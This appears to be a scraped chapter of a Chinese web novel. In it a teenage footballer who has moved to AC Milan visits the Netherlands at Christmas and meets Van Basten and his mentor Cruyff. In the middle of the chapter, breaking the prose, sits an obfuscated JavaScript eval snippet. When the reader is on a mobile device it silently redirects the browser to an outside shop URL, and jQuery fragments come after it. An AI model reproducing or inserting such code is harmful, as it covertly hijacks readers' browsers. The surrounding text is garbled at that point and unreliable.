圣诞节的第二天，贺辰跟苏嘉平回到荷兰。
四个多月前，他被阿贾克斯驱逐，狼狈前往米兰。那时的他对未来绝望，童年被抛弃的阴影再次缠上他，几乎每天晚上都会做噩梦。
他别无所求，只想要一个踢球的机会，而米兰给了他首发，给了他核心，给了他一家俱乐部能给的一切。他觉得不真实，又害怕真的是梦，只能拼尽全力踢球，死死抱住足球这个寄托。
“呦，这不是米兰的17号嘛！”
苏醒春的声音在不远处炸开。
贺辰吓了一跳，赶紧环顾四周，确定没有人关注这边后，恶狠狠瞪了他一眼。
“这么凶干什么？”苏醒春一脸无辜，“小侄子，我手都张开了，还不过来抱抱你小叔叔？”
贺辰冷笑一声，三两步走到苏醒春跟前，一把捏住他的两片嘴唇。
“唔唔唔？！”
“好吵。我可不想被极端球迷报复。”
他踢阿贾克斯确实不留情面，难免被人记恨。他倒不担心自己，而是怕苏醒春和祖父母出事——祖父母深居简出，苏醒春却大大咧咧还精力旺盛，贺辰怕他被人套麻袋。
想到这里，贺辰不禁怜惜地摸摸苏醒春的脑袋。
“真羡慕你，只有一个脑细胞，活的无忧又无虑。”
“哈？”苏醒春气炸了，拽住贺辰帽衫的抽绳，咬牙切齿道，“你小子胆子肥了，敢骂长辈！”
“你太敏感了。”贺辰也不甘示弱，反手揪住苏醒春后脑勺的头发。
苏嘉平推着行李箱走在前面，尽量忽视路人的目光。
她才发现这两个孩子的相处这么闹腾，贺辰还有这么活泼的一面，她从来没见过。
“贺辰？”
循着声音看去，范巴斯滕站在不远处。他穿着深色羽绒服，系着围巾，头发短了，人也瘦了，但气色很好。
贺辰下意识站直身体，理了理头发。
他和范巴斯滕接触不多，又让人家看到自己的这一面，难免有些紧张。
偏偏苏醒春阴阳怪气：“果然，人在面对大人物会变得非常有礼貌。”
贺辰狠狠踩了他一脚。
苏醒春疼的眼泪快流出来了。
报复完，他才跟着范巴斯滕找安静的地方叙旧。
“还适应米兰的生活吗？”
“还行。”
范巴斯滕的目光从上到下，飞快扫了贺辰一眼，得出结论：“你变壮实了。”
“是么？”贺辰屈起手指，蹭蹭脸颊，“米兰实验室给我制定了食谱。他们会把西兰花之类的切碎了混进饭里，还有加餐，加了坚果蛋白粉的奶昔。”
“听起来像养小猫。”
贺辰有一瞬间的惊讶，眨眨眼睛，决定不接这个茬。他说：“他们很专业。我的体重涨了四公斤，体脂率却没变。”
范巴斯滕点点头，问：“你现在的教练是谁？”
“U19主教练，菲利波·因扎吉。”
说来也巧，他们是两种类型的中锋，都穿过米兰的9号球衣，在绿茵场大杀四方。
“菲利波·因扎吉……他总是能出现在正确的位置上。”
贺辰想点头，又觉得这句话莫名耳熟——这不是约翰对教练的评价么？！
你为什么要用这么缱绻的语气复述已经决裂的老师说过的话啊？！
这对么？这不对吧？！
贺辰绞尽脑汁岔开话题。
“虽然听你们说过很多米兰的事，也看过不少比赛录像，但是真正进入这家俱乐部，我才明白你们为什么念念不忘。约翰让我看过米兰89年欧冠半决赛的录像……”
这句话浮在半空，被沉默托住。
范巴斯滕移开视线，不知道该看哪里。贺辰也很尴尬，在心里骂自己口无遮拦，不会读空气，又破罐子破摔般想，既然都提到约翰了，干脆把事情做绝。
“……先生，您最近见过约翰吗？”
许久的沉默之后，范巴斯滕平静地说：“荷兰的冬天总是灰扑扑的。”
贺辰听懂了他的言外之意，仍多嘴说了一句：“他有时会提起从前。”
范巴斯滕不说话了。
贺辰站起来，稍微弯了弯腰。
“时间不早了，我的家人还在等我，我先走了。祝您生活愉快。”
他正准备走，范巴斯滕忽然开口，声音不大，但贺辰听得很清晰。
“贺辰。”
贺辰停下来，回头看着他。
范巴斯滕没有看他，而是看着窗外灰蒙蒙的天，轻声说：“……代我向他问好。”
贺辰确实打算拜访克鲁伊夫。如果约翰愿意见他，愿意跟他说话，他很乐意传递这份心意。
前提是约翰没有生气。
可能性微乎其微。
设身处地想想，自己看好的球员经历这些破事，还不告诉自己，确实很难不发火。
万一呢？
他做足了心理准备，按响门铃，开门的是约翰的妻子丹妮。
“丹妮阿姨。”贺辰礼貌打招呼。
丹妮穿着围裙，围裙上沾着面粉，手里拿着一把木勺，显然正在厨房忙活。她看到贺辰，眼睛亮了一下，赶紧招呼他进来。
“我来看看约翰。他怎么样？”
“还是老样子。”丹妮笑盈盈说，随即提高音量喊道，“约翰！贺辰来了！”
没有回应。
丹妮摇摇头，对贺辰说：“他在书房，你去找他吧。”
书房的门半开着，贺辰没有立刻进去，他站在门口，透过门缝往里看了一眼。
克鲁伊夫坐在书桌后面，面前摊着几张纸，手边放着一杯已经凉透了的茶。
贺辰轻手轻脚走进来，站在书桌旁边，离克鲁伊夫大概半米远，沉默不语，像一棵种在书房里的树。
大约过了两分钟，丹妮端着两杯热茶上楼。她推开门，看到这个场面——老头坐在书桌后面不说话，小孩站在旁边也不说话，两个人像两尊雕塑——眉毛立刻竖了起来。
丹妮把托盘重重放在桌面上，训斥道：“约翰，一把年纪了还跟小孩较劲？还有你，贺辰，他不说你就傻站着？坐。”
贺辰看看丹妮，又看看约翰。
克鲁伊夫终于抬起头，下巴朝对面的椅子抬了抬，示意贺辰坐下。
丹妮满意地离开了。
克鲁伊夫上下打量了贺辰一眼，开口说话：“胖了。”
“是壮了。”贺辰纠正他。
这点可怜的体重是他努力了四个月的成果，可以不夸奖，但请不要说这么伤人的话。
然后他问：“约翰，你最近怎么样？”
“还行。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794151|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
贺辰无语凝噎。
回旋镖只有打在自己身上，才知道这个回答有多气人。
“我看了你的比赛，踢的……很一般。
“客场踢阿贾克斯太冒进了，踢巴塞罗那又畏畏缩缩的，你太容易被情绪影响了，真正比赛的时候没人给你调整的时间。
“还有，你总想用长传解决问题，人一多又只敢传安全球——我没有让你冒险的意思，我想说的是，你考虑太多足球之外的事了，这对比赛有帮助吗？”
贺辰咬住嘴唇内侧，摇了摇头。
克鲁伊夫盯着他看了很久，叹了口气，说：“不过，进攻端和防守端都有进步，我教你的东西也没忘，勉勉强强吧。米兰的青训教练……”
“菲利波·因扎吉教练，和外界看法不同，他重视进攻也重视防守。”贺辰垂下眼睛回忆，“他经常跟我们一起训练，亲力亲为。他的风格跟其他教练都不一样，充满激情，恨不得自己冲上去踢。”
“因扎吉在球场上是疯子，当了教练也冷静不到哪去。”
贺辰犹豫了一下，说：“前几天，我在机场碰到了巴斯滕先生，他引用了你对因扎吉教练的评价。”
“马尔科？”
“嗯。”贺辰点点头，放慢语速，声音也压低了一些，“他让我代他向您问好。”
书房安静了下来。
克鲁伊夫看着窗外，阳光落在他的白发上，把他的灰蓝色眼睛藏进阴影里。
过了一会儿，克鲁伊夫说：“他还活着呢？”他的语气平淡，没有任何波澜，好像在说一件无关紧要的事。
贺辰沉默了。
他注意到约翰的毯子滑下去了一点，伸出手，把毯子往上拽了拽，动作很轻，怕惊扰什么。
克鲁伊夫看向他——这么多年过去了，他也摸清了贺辰的一些习惯，知道他无事献殷勤，肯定要说什么大事。
“约翰，如果……如果米兰进了决赛，你可以来现场看么？”
“青年欧冠？可以。”
贺辰愣住了，他没想到约翰答应得这么干脆。
“别高兴得太早，如果没进呢？”
“没进您就请我去现场看比赛。”
克鲁伊夫发出一声很轻很轻的笑。他坐得太久了，膝盖有点僵，站起来，让血液重新流通。
他们就这样待了一会儿，一个坐着，一个站在窗边，都不说话，中间隔着一点距离和几十年的岁月。
到底是假期而不是冬令营，忙完乱七八糟的事后，贺辰跟苏醒春去了布莱多普动物园。动物园有澳洲区，生活着各种袋鼠，很难不让人想到秦昶——他跟家人去了澳大利亚旅游。
说起来，本土袋鼠和留洋袋鼠有什么区别？他问秦昶，秦昶回复了一个问号。
然后秦昶开始发澳洲动物的照片轰炸他。
过马路的袋鼠，超级大的蜘蛛，蛇，一大堆青蛙，各种虫子……
这下换贺辰扣问号了。
“看什么呢？这么入迷——我靠你跟别人聊天？！”
贺辰翻白眼：“我又不是原始人。”
“你都没跟我发短信聊天！”
贺辰斜睨了他一眼，心想这家伙真是匪夷所思，还是点开苏醒春的聊天框发了个你好。
苏醒春崩溃：“我说的不是这个意思！那家伙是谁？你对象吗？！”